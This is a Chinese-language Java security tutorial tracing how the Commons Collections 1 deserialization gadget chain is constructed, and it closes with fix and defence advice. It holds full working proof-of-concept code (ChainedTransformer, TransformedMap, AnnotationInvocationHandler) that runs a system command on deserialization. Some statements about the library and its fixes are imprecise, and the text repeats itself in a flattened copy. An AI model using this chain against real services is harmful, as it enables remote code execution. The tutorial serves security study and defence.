java安全:从发现者角度解析CC1链构造过程
字数 1862 2025-08-29 22:41:38

Java反序列化漏洞:Commons Collections 1(CC1)链构造详解

1. 背景介绍

Commons Collections是Apache提供的一个Java集合框架扩展库,广泛应用于各种Java项目中。CC1链是Java反序列化漏洞中最经典的利用链之一,它利用了Commons Collections库中的一系列特性来实现远程代码执行。

2. 核心组件分析

2.1 CommonsCollections类

CommonsCollections是一个集合类,具有以下特点:

  • 接受广泛的参数类型
  • 实现了Serializable接口(可序列化)
  • 包含Transformer接口机制

2.2 Transformer接口

Transformer接口是CC1链的核心,定义如下:

public interface Transformer {
    Object transform(Object input);
}

该接口的作用是接受一个对象,调用transform方法进行转换。

3. 漏洞发现过程

3.1 关键发现点

研究者发现InvokerTransformer类实现了Transformer接口,其transform方法实现如下:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
    } catch (Exception ex) {
        // 异常处理
    }
}

这个方法可以通过反射调用任意对象的任意方法,包括Runtime.exec()这样的危险方法。

3.2 验证InvokerTransformer

可以通过以下代码验证InvokerTransformer的命令执行能力:

new InvokerTransformer("exec", new Class[]{String.class}, 
    new Object[]{"calc"}).transform(Runtime.getRuntime());

这段代码会执行系统计算器程序,证明了InvokerTransformer确实可以实现任意命令执行。

4. 调用链构造

4.1 寻找transform调用点

为了构建完整的利用链,需要寻找哪些类会调用transform方法。研究发现TransformedMap类满足这个条件。

4.2 TransformedMap分析

TransformedMap是一个Map装饰器,当对Map进行setValue操作时会调用transform方法:

  1. TransformedMap.decorate()方法可以创建一个TransformedMap实例
  2. 当调用Map.Entry.setValue()时,会触发以下调用链:
    • AbstractInputCheckedMapDecorator.setValue()
    • TransformedMap.checkSetValue()
    • Transformer.transform()

关键点:

  • checkSetValue是protected方法,不能直接调用
  • 需要通过Map.Entry.setValue()间接触发

4.3 示例代码

// 创建恶意Transformer
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});

// 创建并装饰Map
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object,Object> decoratedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

// 触发transform调用
for(Map.Entry entry : decoratedMap.entrySet()) {
    entry.setValue(Runtime.getRuntime());
}

5. 反序列化利用

5.1 寻找readObject调用点

为了在反序列化时触发漏洞,需要寻找在readObject方法中调用setValue的类。研究发现AnnotationInvocationHandler满足这个条件。

5.2 AnnotationInvocationHandler分析

关键特性:

  • 实现了Serializable接口
  • 在readObject方法中会遍历memberValues的entry并调用setValue
  • 构造方法接受一个Map参数(memberValues)

5.3 构造完整利用链

完整利用需要解决两个问题:

  1. AnnotationInvocationHandler没有public构造方法,需要通过反射创建
  2. Runtime对象不可序列化,需要间接获取

解决方案:

  • 使用ChainedTransformer将多个Transformer串联
  • 使用ConstantTransformer获取Runtime.class
  • 使用反射创建AnnotationInvocationHandler实例

5.4 完整利用代码

// 创建Transformer链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

// 创建TransformedMap
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

// 通过反射创建AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Override.class, outerMap);

// 序列化和反序列化触发漏洞
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();

6. 漏洞修复

Apache Commons Collections在后续版本中修复了此漏洞,主要措施包括:

  1. 增加了对InvokerTransformer的安全检查
  2. 引入了Serialization过滤器
  3. 建议升级到最新版本(3.2.2+或4.1+)

7. 防御措施

  1. 升级Commons Collections到安全版本
  2. 使用Java的Serialization过滤器
  3. 避免反序列化不可信数据
  4. 使用白名单机制限制可反序列化的类

8. 总结

CC1链是Java反序列化漏洞的经典案例,它利用了:

  1. Commons Collections的Transformer机制
  2. Java反射机制
  3. Java反序列化特性
  4. 多个类的特定方法调用关系

理解CC1链的构造过程对于学习Java安全、反序列化漏洞防御具有重要意义。

Java反序列化漏洞:Commons Collections 1(CC1)链构造详解 1. 背景介绍 Commons Collections是Apache提供的一个Java集合框架扩展库,广泛应用于各种Java项目中。CC1链是Java反序列化漏洞中最经典的利用链之一,它利用了Commons Collections库中的一系列特性来实现远程代码执行。 2. 核心组件分析 2.1 CommonsCollections类 CommonsCollections是一个集合类,具有以下特点: 接受广泛的参数类型 实现了Serializable接口(可序列化) 包含Transformer接口机制 2.2 Transformer接口 Transformer接口是CC1链的核心,定义如下: 该接口的作用是接受一个对象,调用transform方法进行转换。 3. 漏洞发现过程 3.1 关键发现点 研究者发现InvokerTransformer类实现了Transformer接口,其transform方法实现如下: 这个方法可以通过反射调用任意对象的任意方法,包括Runtime.exec()这样的危险方法。 3.2 验证InvokerTransformer 可以通过以下代码验证InvokerTransformer的命令执行能力: 这段代码会执行系统计算器程序,证明了InvokerTransformer确实可以实现任意命令执行。 4. 调用链构造 4.1 寻找transform调用点 为了构建完整的利用链,需要寻找哪些类会调用transform方法。研究发现TransformedMap类满足这个条件。 4.2 TransformedMap分析 TransformedMap是一个Map装饰器,当对Map进行setValue操作时会调用transform方法: TransformedMap.decorate()方法可以创建一个TransformedMap实例 当调用Map.Entry.setValue()时,会触发以下调用链: AbstractInputCheckedMapDecorator.setValue() TransformedMap.checkSetValue() Transformer.transform() 关键点: checkSetValue是protected方法,不能直接调用 需要通过Map.Entry.setValue()间接触发 4.3 示例代码 5. 反序列化利用 5.1 寻找readObject调用点 为了在反序列化时触发漏洞,需要寻找在readObject方法中调用setValue的类。研究发现AnnotationInvocationHandler满足这个条件。 5.2 AnnotationInvocationHandler分析 关键特性: 实现了Serializable接口 在readObject方法中会遍历memberValues的entry并调用setValue 构造方法接受一个Map参数(memberValues) 5.3 构造完整利用链 完整利用需要解决两个问题: AnnotationInvocationHandler没有public构造方法,需要通过反射创建 Runtime对象不可序列化,需要间接获取 解决方案: 使用ChainedTransformer将多个Transformer串联 使用ConstantTransformer获取Runtime.class 使用反射创建AnnotationInvocationHandler实例 5.4 完整利用代码 6. 漏洞修复 Apache Commons Collections在后续版本中修复了此漏洞,主要措施包括: 增加了对InvokerTransformer的安全检查 引入了Serialization过滤器 建议升级到最新版本(3.2.2+或4.1+) 7. 防御措施 升级Commons Collections到安全版本 使用Java的Serialization过滤器 避免反序列化不可信数据 使用白名单机制限制可反序列化的类 8. 总结 CC1链是Java反序列化漏洞的经典案例,它利用了: Commons Collections的Transformer机制 Java反射机制 Java反序列化特性 多个类的特定方法调用关系 理解CC1链的构造过程对于学习Java安全、反序列化漏洞防御具有重要意义。